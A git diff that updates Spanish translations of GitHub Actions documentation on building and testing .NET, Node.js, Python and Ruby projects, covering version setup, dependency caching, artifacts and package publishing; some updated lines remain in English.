+Para obtener más información, consulta la sección "[Almacenar las dependencias en caché para agilizar los flujos de trabajo](/actions/guides/caching-dependencies-to-speed-up-workflows)".
 
 {% raw %}
 ```yaml
@@ -158,15 +158,15 @@ steps:
 
 {% note %}
 
-**Note:** Depending on the number of dependencies, it may be faster to use the dependency cache. Projects with many large dependencies should see a performance increase as it cuts down the time required for downloading. Projects with fewer dependencies may not see a significant performance increase and may even see a slight decrease due to how NuGet installs cached dependencies. The performance varies from project to project.
+**Nota:** Dependiendo de la cantidad de dependencias, puede ser más rápido usar la caché de dependencias. Los proyectos con muchas dependencias de gran tamaño deberían ver un aumento del rendimiento, ya que reduce el tiempo necesario para la descarga. Los proyectos con menos dependencias podrían no ver un incremento significativo del rendimiento e incluso podrían ver un ligero decremento, debido a cómo NuGet instala las dependencias almacenadas en el caché. El rendimiento varía de un proyecto a otro.
 
 {% endnote %}
 
 {% endif %}
 
-## Building and testing your code
+## Construir y probar tu código
 
-You can use the same commands that you use locally to build and test your code. This example demonstrates how to use `dotnet build` and `dotnet test` in a job:
+Puedes usar los mismos comandos que usas de forma local para construir y probar tu código. Este ejemplo demuestra cómo utilizar `dotnet build` y `dotnet test` en un job:
 
 {% raw %}
 ```yaml
@@ -185,11 +185,11 @@ steps:
 ```
 {% endraw %}
 
-## Packaging workflow data as artifacts
+## Empaquetar datos de flujo de trabajo como artefactos
 
-After a workflow completes, you can upload the resulting artifacts for analysis. For example, you may need to save log files, core dumps, test results, or screenshots. The following example demonstrates how you can use the `upload-artifact` action to upload test results.
+Después de que se completa un flujo de trabajo, puedes cargar los artefactos que se den como resultado para su análisis. Por ejemplo, es posible que debas guardar los archivos de registro, los vaciados de memoria, los resultados de las pruebas o las capturas de pantalla. El siguiente ejemplo demuestra cómo puedes utilizar la acción `upload-artifact` para cargar los resultados de las pruebas.
 
-For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+Para obtener más información, consulta "[Conservar datos de flujo de trabajo mediante artefactos](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)".
 
 {% raw %}
 ```yaml
@@ -225,9 +225,9 @@ jobs:
 ```
 {% endraw %}
 
-## Publishing to package registries
+## Publicar en registros de paquetes
 
-You can configure your workflow to publish your Dotnet package to a package registry when your CI tests pass. You can use repository secrets to store any tokens or credentials needed to publish your binary. The following example creates and publishes a package to {% data variables.product.prodname_registry %} using `dotnet core cli`.
+Puedes configurar tu flujo de trabajo para publicar tu paquete de Dotnet a un registro de paquetes cuando pasen tus pruebas de IC. Puedes utilizar secretos de los repositorios para almacenar cualquier token o credenciales que se necesiten para publicar tu binario. El siguiente ejemplo crea y publica un paquete en el {% data variables.product.prodname_registry %} utilizando `dotnet core cli`.
 
 ```yaml
 name: Upload dotnet package
diff --git a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md
index e22a423999..c3f320b8cb 100644
--- a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md
+++ b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-nodejs-or-python.md
@@ -1,7 +1,7 @@
 ---
-title: Building and testing Node.js or Python
-shortTitle: Build & test Node.js or Python
-intro: You can create a continuous integration (CI) workflow to build and test your project. Use the language selector to show examples for your language of choice.
+title: Crear y probar Node.js o Python
+shortTitle: Crear & probar Node.js o Python
+intro: Puedes crear un flujo de trabajo de integración continua (CI) para crear y probar tu proyecto. Utiliza el selector de lenguaje para mostrar ejemplos de tu lenguaje seleccionado.
 redirect_from:
   - /actions/guides/building-and-testing-nodejs-or-python
 versions:
diff --git a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md
index 8460d39730..c2aa6ed095 100644
--- a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md
+++ b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Node.js
-intro: You can create a continuous integration (CI) workflow to build and test your Node.js project.
+title: Crear y probar en Node.js
+intro: Puedes crear un flujo de trabajo de integración continua (CI) para construir y probar tu proyecto Node.js.
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions
   - /actions/language-and-framework-guides/using-nodejs-with-github-actions
@@ -16,31 +16,31 @@ topics:
   - CI
   - Node
   - JavaScript
-shortTitle: Build & test Node.js
+shortTitle: Crear & probar con Node.js
 hasExperimentalAlternative: true
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This guide shows you how to create a continuous integration (CI) workflow that builds and tests Node.js code. If your CI tests pass, you may want to deploy your code or publish a package.
+Esta guía te muestra cómo crear un flujo de trabajo de integración continua (CI) que construye y prueba código Node.js. Si tus pruebas de CI se superan, es posible que desees implementar tu código o publicar un paquete.
 
-## Prerequisites
+## Prerrequisitos
 
-We recommend that you have a basic understanding of Node.js, YAML, workflow configuration options, and how to create a workflow file. For more information, see:
+Te recomendamos que tengas una comprensión básica de Node.js, YAML, las opciones de configuración de flujo de trabajo y cómo crear un archivo de flujo de trabajo. Para obtener más información, consulta:
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
-- "[Getting started with Node.js](https://nodejs.org/en/docs/guides/getting-started-guide/)"
+- "[Aprende sobre las {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+- "[Iniciar con Node.js](https://nodejs.org/en/docs/guides/getting-started-guide/)"
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Starting with the Node.js workflow template
+## Using the Node.js starter workflow
 
-{% data variables.product.prodname_dotcom %} provides a Node.js workflow template that will work for most Node.js projects. This guide includes npm and Yarn examples that you can use to customize the template. For more information, see the [Node.js workflow template](https://github.com/actions/starter-workflows/blob/main/ci/node.js.yml).
+{% data variables.product.prodname_dotcom %} provides a Node.js starter workflow that will work for most Node.js projects. This guide includes npm and Yarn examples that you can use to customize the starter workflow. For more information, see the [Node.js starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/node.js.yml).
 
-To get started quickly, add the template to the `.github/workflows` directory of your repository. The workflow shown below assumes that the default branch for your repository is `main`.
+To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository. El flujo de trabajo que se muestra a continuación asume que la rama predeterminada de tu repositorio es `main`.
 
 {% raw %}
 ```yaml{:copy}
@@ -75,15 +75,15 @@ jobs:
 
 {% data reusables.github-actions.example-github-runner %}
 
-## Specifying the Node.js version
+## Especificar la versión de Node.js
 
-The easiest way to specify a Node.js version is by using the `setup-node` action provided by {% data variables.product.prodname_dotcom %}. For more information see, [`setup-node`](https://github.com/actions/setup-node/).
+La forma más fácil de especificar una versión de Node.js es por medio de la acción `setup-node` proporcionada por {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta [`setup-node`](https://github.com/actions/setup-node/).
 
-The `setup-node` action takes a Node.js version as an input and configures that version on the runner. The `setup-node` action finds a specific version of Node.js from the tools cache on each runner and adds the necessary binaries to `PATH`, which persists for the rest of the job. Using the `setup-node` action is the recommended way of using Node.js with {% data variables.product.prodname_actions %} because it ensures consistent behavior across different runners and different versions of Node.js. If you are using a self-hosted runner, you must install Node.js and add it to `PATH`.
+La acción `setup-node` toma una versión de Node.js como una entrada y configura esa versión en el ejecutor. La acción `setup-node` encuentra una versión específica de Node.js de la caché de herramientas en cada ejecutor y añade los binarios necesarios a `PATH`, que continúan para el resto del trabajo. Usar la acción `setup-node` es la forma recomendada de usar Node.js con {% data variables.product.prodname_actions %} porque asegura un comportamiento consistente a través de diferentes ejecutores y diferentes versiones de Node.js. Si estás usando un ejecutor autoalojado, debes instalar Node.js y añadirlo a `PATH`.
 
-The template includes a matrix strategy that builds and tests your code with four Node.js versions: 10.x, 12.x, 14.x, and 15.x. The 'x' is a wildcard character that matches the latest minor and patch release available for a version. Each version of Node.js specified in the `node-version` array creates a job that runs the same steps.
+The starter workflow includes a matrix strategy that builds and tests your code with four Node.js versions: 10.x, 12.x, 14.x, and 15.x. La 'x' es un carácter comodín que coincide con el último lanzamiento menor y de parche disponible para una versión. Cada versión de Node.js especificada en la matriz `node-version` crea un trabajo que ejecuta los mismos pasos.
 
-Each job can access the value defined in the matrix `node-version` array using the `matrix` context. The `setup-node` action uses the context as the `node-version` input. The `setup-node` action configures each job with a different Node.js version before building and testing code. For more information about matrix strategies and contexts, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix)" and "[Contexts](/actions/learn-github-actions/contexts)."
+Cada trabajo puede acceder al valor definido en la matriz `node-version` por medio del contexto `matrix`. La acción `setup-node` utiliza el contexto como la entrada `node-version`. La acción `setup-node` configura cada trabajo con una versión diferente de Node.js antes de construir y probar código. Para obtener más información acerca de las estrategias y los contextos de la matriz, consulta las secciones "[Sintaxis de flujo de trabajo para las {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix)" y "[Contextos](/actions/learn-github-actions/contexts)".
 
 {% raw %}
 ```yaml{:copy}
@@ -100,7 +100,7 @@ steps:
 ```
 {% endraw %}
 
-Alternatively, you can build and test with exact Node.js versions.
+Como alternativa, puedes construir y probar con las versiones exactas de Node.js.
 
 ```yaml{:copy}
 strategy:
@@ -108,7 +108,7 @@ strategy:
     node-version: [8.16.2, 10.17.0]
 ```
 
-Or, you can build and test using a single version of Node.js too.
+O bien, puedes construir y probar mediante una versión única de Node.js.
 
 {% raw %}
 ```yaml{:copy}
@@ -133,20 +133,20 @@ jobs:
 ```
 {% endraw %}
 
-If you don't specify a Node.js version, {% data variables.product.prodname_dotcom %} uses the environment's default Node.js version.
+Si no especificas una versión de Node.js, {% data variables.product.prodname_dotcom %} utiliza la versión de Node.js por defecto del entorno.
 {% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %}
-{% else %} For more information, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+{% else %} Para obtener más información, consulta la sección "[Especificaciones para los ejecutores hospedados en {% data variables.product.prodname_dotcom %}](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
 {% endif %}
 
-## Installing dependencies
+## Instalar dependencias
 
-{% data variables.product.prodname_dotcom %}-hosted runners have npm and Yarn dependency managers installed. You can use npm and Yarn to install dependencies in your workflow before building and testing your code. The Windows and Linux {% data variables.product.prodname_dotcom %}-hosted runners also have Grunt, Gulp, and Bower installed.
+Los ejecutores alojados en {% data variables.product.prodname_dotcom %} tienen instalados administradores de dependencias de npm y Yarn. Puedes usar npm y Yarn para instalar dependencias en tu flujo de trabajo antes de construir y probar tu código. Los ejecutores Windows y Linux alojados en {% data variables.product.prodname_dotcom %} también tienen instalado Grunt, Gulp y Bower.
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can also cache dependencies to speed up your workflow. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+Cuando utilizas ejecutores hospedados en {% data variables.product.prodname_dotcom %}, también puedes guardar las dependencias en el caché para acelerar tu flujo de trabajo. Para obtener más información, consulta la sección "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Almacenar las dependencias en caché para agilizar los flujos de trabajo</a>".
 
-### Example using npm
+### Ejemplo con npm
 
-This example installs the dependencies defined in the *package.json* file. For more information, see [`npm install`](https://docs.npmjs.com/cli/install).
+Este ejemplo instala las dependencias definidas en el archivo *package.json*. Para obtener más información, consulta [`Instalar npm`](https://docs.npmjs.com/cli/install).
 
 ```yaml{:copy}
 steps:
@@ -159,7 +159,7 @@ steps:
   run: npm install
 ```
 
-Using `npm ci` installs the versions in the *package-lock.json* or *npm-shrinkwrap.json* file and prevents updates to the lock file. Using `npm ci` is generally faster than running `npm install`. For more information, see [`npm ci`](https://docs.npmjs.com/cli/ci.html) and "[Introducing `npm ci` for faster, more reliable builds](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)."
+Mediante `npm ci` se instalan las versiones en el archivo *package-lock.json* o *npm-shrinkwrap.json* y se evitan las actualizaciones al archivo de bloqueo. Usar `npm ci` generalmente es más rápido que ejecutar `npm install`. Para obtener más información, consulta [`npm ci`](https://docs.npmjs.com/cli/ci.html) e [Introducir `npm ci` para construcciones más rápidas y confiables](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable)."
 
 {% raw %}
 ```yaml{:copy}
@@ -174,9 +174,9 @@ steps:
 ```
 {% endraw %}
 
-### Example using Yarn
+### Ejemplo con Yarn
 
-This example installs the dependencies defined in the *package.json* file. For more information, see [`yarn install`](https://yarnpkg.com/en/docs/cli/install).
+Este ejemplo instala las dependencias definidas en el archivo *package.json*. Para obtener más información, consulta [`Instalar yarn`](https://yarnpkg.com/en/docs/cli/install).
 
 ```yaml{:copy}
 steps:
@@ -189,7 +189,7 @@ steps:
   run: yarn
 ```
 
-Alternatively, you can pass `--frozen-lockfile` to install the versions in the *yarn.lock* file and prevent updates to the *yarn.lock* file.
+De forma alternativa, puede pasar `--frozen-lockfile` para instalar las versiones en el archivo *yarn.lock* y evitar actualizaciones al archivo *yarn.lock*.
 
 ```yaml{:copy}
 steps:
@@ -202,15 +202,15 @@ steps:
   run: yarn --frozen-lockfile
 ```
 
-### Example using a private registry and creating the .npmrc file
+### Ejemplo de uso de un registro privado y la creación del archivo .npmrc
 
 {% data reusables.github-actions.setup-node-intro %}
 
-To authenticate to your private registry, you'll need to store your npm authentication token as a secret. For example, create a repository secret called `NPM_TOKEN`. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+Para autenticar tu registro privado, necesitarás almacenar tu token de autenticación de npm como un secreto. Por ejemplo, crea un repositorio secreto que se llame `NPM_TOKEN`. Para más información, consulta "[Crear y usar secretos cifrados](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
 
-In the example below, the secret `NPM_TOKEN` stores the npm authentication token. The `setup-node` action configures the *.npmrc* file to read the npm authentication token from the `NODE_AUTH_TOKEN` environment variable. When using the `setup-node` action to create an *.npmrc* file, you must set the `NODE_AUTH_TOKEN` environment variable with the secret that contains your npm authentication token.
+En el siguiente ejemplo, el secreto `NPM_TOKEN` almacena el token de autenticación npm. La acción `setup-node` configura el archivo *.npmrc* para leer el token de autenticación npm desde la variable de entorno `NODE_AUTH_TOKEN`. Cuando utilices la acción `setup-node` para crear un archivo *.npmrc*, debes configurar la variable de ambiente `NODE_AUTH_TOKEN` con el secreto que contiene tu token de autenticación de npm.
 
-Before installing dependencies, use the `setup-node` action to create the *.npmrc* file. The action has two input parameters. The `node-version` parameter sets the Node.js version, and the `registry-url` parameter sets the default registry. If your package registry uses scopes, you must use the `scope` parameter. For more information, see [`npm-scope`](https://docs.npmjs.com/misc/scope).
+Antes de instalar dependencias, utiliza la acción `setup-node` para crear el archivo *.npmrc*. La acción tiene dos parámetros de entrada. El parámetro `node-version` establece la versión de Node.js y el parámetro `registry-url` establece el registro predeterminado. Si tu registro de paquetes usa ámbitos, debes usar el parámetro `scope`. Para obtener más información, consulta [`npm-scope`](https://docs.npmjs.com/misc/scope).
 
 {% raw %}
 ```yaml{:copy}
@@ -230,7 +230,7 @@ steps:
 ```
 {% endraw %}
 
-The example above creates an *.npmrc* file with the following contents:
+El ejemplo anterior crea un archivo *.npmrc* con el siguiente contenido:
 
 ```ini
 //registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}
@@ -238,11 +238,11 @@ The example above creates an *.npmrc* file with the following contents:
 always-auth=true
 ```
 
-### Example caching dependencies
+### Ejemplo de dependencias en caché
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache and restore the dependencies using the [`setup-node` action](https://github.com/actions/setup-node).
+Cuando utilices ejecutores hospedados en {% data variables.product.prodname_dotcom %}, puedes guardarlos en caché y restablecer las dependencias utilizando la [acción `setup-node`](https://github.com/actions/setup-node).
 
-The following example caches dependencies for npm.
+El siguiente ejemplo guarda las dependencias en caché para npm.
 ```yaml{:copy}
 steps:
 - uses: actions/checkout@v2
@@ -254,7 +254,7 @@ steps:
 - run: npm test
 ```
 
-The following example caches dependencies for Yarn.
+El siguiente ejemplo guarda las dependencias en caché para Yarn.
 
 ```yaml{:copy}
 steps:
@@ -267,7 +267,7 @@ steps:
 - run: yarn test
 ```
 
-The following example caches dependencies for pnpm (v6.10+).
+El siguiente ejemplo guarda las dependencias en caché para pnpm (v6.10+).
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -287,11 +287,11 @@ steps:
 - run: pnpm test
 ```
 
-If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>".
+Si tienes un requisito personalizado o necesitas controles más exactos para almacenar en caché, puedes utilizar la [acción `cache`](https://github.com/marketplace/actions/cache). Para obtener más información, consulta la sección "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Almacenar las dependencias en caché para agilizar los flujos de trabajo</a>".
 
-## Building and testing your code
+## Construir y probar tu código
 
-You can use the same commands that you use locally to build and test your code. For example, if you run `npm run build` to run build steps defined in your *package.json* file and `npm test` to run your test suite, you would add those commands in your workflow file.
+Puedes usar los mismos comandos que usas de forma local para construir y probar tu código. Por ejemplo, si ejecutas `npm run build` para ejecutar pasos de construcción definidos en tu archivo *package.json* y `npm test` para ejecutar tu conjunto de pruebas, añadirías esos comandos en tu archivo de flujo de trabajo.
 
 ```yaml{:copy}
 steps:
@@ -305,10 +305,10 @@ steps:
 - run: npm test
 ```
 
-## Packaging workflow data as artifacts
+## Empaquetar datos de flujo de trabajo como artefactos
 
-You can save artifacts from your build and test steps to view after a job completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+Puedes guardar los artefactos de tus pasos de construcción y prueba para verlos después de que se complete un trabajo. Por ejemplo, es posible que debas guardar los archivos de registro, los vaciados de memoria, los resultados de las pruebas o las capturas de pantalla. Para obtener más información, consulta "[Conservar datos de flujo de trabajo mediante artefactos](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
 
-## Publishing to package registries
+## Publicar en registros de paquetes
 
-You can configure your workflow to publish your Node.js package to a package registry after your CI tests pass. For more information about publishing to npm and {% data variables.product.prodname_registry %}, see "[Publishing Node.js packages](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)."
+Puedes configurar tu flujo de trabajo para que publique tu paquete Node.js en un registro de paquete después de que se aprueben tus pruebas de CI. Para obtener más información acerca de la publicación a npm y {% data variables.product.prodname_registry %}, consulta [Publicar paquetes Node.js](/actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages)."
diff --git a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-python.md b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-python.md
index bdbeef71ff..c67f6a545b 100644
--- a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-python.md
+++ b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-python.md
@@ -42,11 +42,11 @@ We recommend that you have a basic understanding of Python, PyPy, and pip. For m
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
-## Starting with the Python workflow template
+## Using the Python starter workflow
 
-{% data variables.product.prodname_dotcom %} provides a Python workflow template that should work for most Python projects. This guide includes examples that you can use to customize the template. For more information, see the [Python workflow template](https://github.com/actions/starter-workflows/blob/main/ci/python-package.yml).
+{% data variables.product.prodname_dotcom %} provides a Python starter workflow that should work for most Python projects. This guide includes examples that you can use to customize the starter workflow. For more information, see the [Python starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/python-package.yml).
 
-To get started quickly, add the template to the `.github/workflows` directory of your repository.
+To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository.
 
 {% raw %}
 ```yaml{:copy}
@@ -426,4 +426,4 @@ jobs:
           password: {% raw %}${{ secrets.PYPI_API_TOKEN }}{% endraw %}
 ```
 
-For more information about the template workflow, see [`python-publish`](https://github.com/actions/starter-workflows/blob/main/ci/python-publish.yml).
+For more information about the starter workflow, see [`python-publish`](https://github.com/actions/starter-workflows/blob/main/ci/python-publish.yml).
diff --git a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-ruby.md b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-ruby.md
index 6da09a7717..61e91fe82d 100644
--- a/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-ruby.md
+++ b/translations/es-ES/content/actions/automating-builds-and-tests/building-and-testing-ruby.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Ruby
-intro: You can create a continuous integration (CI) workflow to build and test your Ruby project.
+title: Crear y probar en Ruby
+intro: Puedes crear un flujo de trabajo de integración continua (CI) para crear y probar tu proyecto de Ruby.
 redirect_from:
   - /actions/guides/building-and-testing-ruby
 versions:
@@ -12,28 +12,28 @@ type: tutorial
 topics:
   - CI
   - Ruby
-shortTitle: Build & test Ruby
+shortTitle: Crear & probar a Ruby
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This guide shows you how to create a continuous integration (CI) workflow that builds and tests a Ruby application. If your CI tests pass, you may want to deploy your code or publish a gem.
+Esta guía te muestra cómo crear un flujo de trabajo de integración contínua (IC) que cree y pruebe una aplicación de Ruby. Si tus pruebas de IC pasan, podrías querer desplegar tu código o publicar una gema.
 
-## Prerequisites
+## Prerrequisitos
 
-We recommend that you have a basic understanding of Ruby, YAML, workflow configuration options, and how to create a workflow file. For more information, see:
+Te recomendamos que tengas una comprensión básica de Ruby, YAML, las opciones de configuración de flujo de trabajo y de cómo crear un archivo de flujo de trabajo. Para obtener más información, consulta:
 
-- [Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)
-- [Ruby in 20 minutes](https://www.ruby-lang.org/en/documentation/quickstart/)
+- [Aprende sobre las {% data variables.product.prodname_actions %}](/actions/learn-github-actions)
+- [Ruby en 20 minutos](https://www.ruby-lang.org/en/documentation/quickstart/)
 
-## Starting with the Ruby workflow template
+## Using the Ruby starter workflow
 
-{% data variables.product.prodname_dotcom %} provides a Ruby workflow template that will work for most Ruby projects. For more information, see the [Ruby workflow template](https://github.com/actions/starter-workflows/blob/master/ci/ruby.yml).
+{% data variables.product.prodname_dotcom %} Proporciona un flujo de trabajo inicial de Ruby que funcionará para la mayoría de los proyectos de Ruby. For more information, see the [Ruby starter workflow](https://github.com/actions/starter-workflows/blob/master/ci/ruby.yml).
 
-To get started quickly, add the template to the `.github/workflows` directory of your repository. The workflow shown below assumes that the default branch for your repository is `main`.
+To get started quickly, add the starter workflow to the `.github/workflows` directory of your repository. El flujo de trabajo que se muestra a continuación asume que la rama predeterminada de tu repositorio es `main`.
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -63,13 +63,13 @@ jobs:
         run: bundle exec rake
 ```
 
-## Specifying the Ruby version
+## Especificar la versión de Ruby
 
-The easiest way to specify a Ruby version is by using the `ruby/setup-ruby` action provided by the Ruby organization on GitHub. The action adds any supported Ruby version to `PATH` for each job run in a workflow. For more information see, the [`ruby/setup-ruby`](https://github.com/ruby/setup-ruby).
+La forma más fácil de especificar una versión de Ruby es utilizando la acción `ruby/setup-ruby` que se proporciona en la organización de Ruby en GitHub. Esta acción agrega cualquier versión compatible con Ruby al `PATH` de cada ejecución de un job en un flujo de trabajo. Para obtener más información, consulta [`ruby/setup-ruby`](https://github.com/ruby/setup-ruby).
 
-Using Ruby's `ruby/setup-ruby` action is the recommended way of using Ruby with GitHub Actions because it ensures consistent behavior across different runners and different versions of Ruby.
+La forma en la que se recomienda utilizar Ruby con GitHub Actions es mediante la acción `ruby/setup-ruby` de Ruby, ya que esto garantiza el comportamiento consistente a través de los diversos ejecutores y versiones de Ruby.
 
-The `setup-ruby` action takes a Ruby version as an input and configures that version on the runner.
+La acción `setup-ruby` toma una versión de Ruby como entrada y la configura en el ejecutor.
 
 {% raw %}
 ```yaml
@@ -83,11 +83,11 @@ steps:
 ```
 {% endraw %}
 
-Alternatively, you can check a `.ruby-version` file  into the root of your repository and `setup-ruby` will use the version defined in that file.
+Como alternativa, puedes ingresar un archivo de `.ruby-version` en la raíz de tu repositorio y `setup-ruby` utilizará la versión que se defina en dicho archivo.
 
-## Testing with multiple versions of Ruby
+## Hacer pruebas con varias versiones de Ruby
 
-You can add a matrix strategy to run your workflow with more than one version of Ruby. For example, you can test your code against the latest patch releases of versions 2.7, 2.6, and 2.5. The 'x' is a wildcard character that matches the latest patch release available for a version.
+Puedes agregar una estrategia de matriz para ejecutar tu flujo de trabajo con más de una versión de Ruby. Por ejemplo, puedes probar tu código contra los últimos lanzamientos de parche para las versiones 2.7, 2.6, y 2.5. La 'x' es un caracter de comodín que empata el último lanzamiento de parche disponible para una versión.
 
 {% raw %}
 ```yaml
@@ -97,9 +97,9 @@ strategy:
 ```
 {% endraw %}
 
-Each version of Ruby specified in the `ruby-version` array creates a job that runs the same steps. The {% raw %}`${{ matrix.ruby-version }}`{% endraw %} context is used to access the current job's version. For more information about matrix strategies and contexts, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions)" and "[Contexts](/actions/learn-github-actions/contexts)."
+Cad versión de Ruby que se especifica en el arreglo `ruby-version` crea un job que ejecuta los mismos pasos. El contexto {% raw %}`${{ matrix.ruby-version }}`{% endraw %} se utiliza para acceder a la versión actual del job. Para obtener más información acerca de las estrategias y los contextos de la matriz, consulta las secciones "[Sintaxis de flujo de trabajo para las {% data variables.product.prodname_actions %}](/actions/learn-github-actions/workflow-syntax-for-github-actions)" y "[Contextos](/actions/learn-github-actions/contexts)".
 
-The full updated workflow with a matrix strategy could look like this:
+El flujo de trabajo ya actualizado en su totalidad con una estrategia de matriz podría verse así:
 
 ```yaml
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -133,9 +133,9 @@ jobs:
         run: bundle exec rake
 ```
 
-## Installing dependencies with Bundler
+## Instalar dependencias con Bundler
 
-The `setup-ruby` action will automatically install bundler for you. The version is determined by your `gemfile.lock` file. If no version is present in your lockfile, then the latest compatible version will be installed.
+La acción `setup-ruby` te instalará bundler automáticamente. La versión se determina de acuerdo con tu archivo `gemfile.lock`. Si no hay alguna versión presente en tu archivo de bloqueo, entonces se instalará la última versión compatible.
 
 {% raw %}
 ```yaml
@@ -148,11 +148,11 @@ steps:
 ```
 {% endraw %}
 
-### Caching dependencies
+### Almacenar dependencias en caché
 
-If you are using {% data variables.product.prodname_dotcom %}-hosted runners, the `setup-ruby` actions provides a method to automatically handle the caching of your gems between runs.
+Si estás utilizando ejecutores hospedados en {% data variables.product.prodname_dotcom %}, las acciones de `setup-ruby` proporcionarán un método para manejar automáticamente el guardado en caché de tus gemas entre ejecuciones.
 
-To enable caching, set the following.
+Para habilitar el guardado en caché, configura lo siguiente.
 
 {% raw %}
 ```yaml
@@ -163,11 +163,11 @@ steps:
 ```
 {% endraw %}
 
-This will configure bundler to install your gems to `vendor/cache`. For each successful run of your workflow, this folder will be cached by Actions and re-downloaded for subsequent workflow runs. A hash of your gemfile.lock and the Ruby version are used as the cache key. If you install any new gems, or change a version, the cache will be invalidated and bundler will do a fresh install.
+Esto configurará a bundler para que instale tus gemas en `vendor/cache`. Para cada ejecución exitosa de tu flujo de trabajo, Actions guardará esta carpeta en caché y volverá a descargarse para cualquier ejecución de flujo de trabajo subsecuente. Se utiliza un hash de tu gemfile.lock y de la versión de Ruby como la clave de caché. Si instalas cualquier gema nueva o cambias una versión, el caché se invalidará y bundler realizará una instalación desde cero.
 
-**Caching without setup-ruby**
+**Guardar en caché sin setup-ruby**
 
-For greater control over caching, if you are using {% data variables.product.prodname_dotcom %}-hosted runners, you can use the `actions/cache` Action directly. For more information, see "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Caching dependencies to speed up workflows</a>."
+Para tener un mejor control sobre el guardado en caché, si estás utilizando ejecutores hospedados en {% data variables.product.prodname_dotcom %}, puedes utilizar la acción `actions/cache` directamente. Para obtener más información, consulta la sección "<a href="/actions/guides/caching-dependencies-to-speed-up-workflows" class="dotcom-only">Almacenar las dependencias en caché para agilizar los flujos de trabajo</a>".
 
 {% raw %}
 ```yaml
@@ -185,7 +185,7 @@ steps:
 ```
 {% endraw %}
 
-If you're using a matrix build, you will want to include the matrix variables in your cache key. For example, if you have a matrix strategy for different ruby versions (`matrix.ruby-version`) and different operating systems (`matrix.os`), your workflow steps might look like this:
+Si estás utilizando una compilación de matriz, deberás incluir las variables de dicha matriz en tu clave de caché. Por ejemplo, si tienes una estrategia de matriz para versiones de Ruby diferentes (`matrix.ruby-version`) y sistemas operativos diferentes (`matrix.os`), tus pasos de flujo de trabajo podrían verse así:
 
 {% raw %}
 ```yaml
@@ -203,9 +203,9 @@ steps:
 ```
 {% endraw %}
 
-## Matrix testing your code
+## Probar tu código en matrices
 
-The following example matrix tests all stable releases and head versions of MRI, JRuby and TruffleRuby on Ubuntu and macOS.
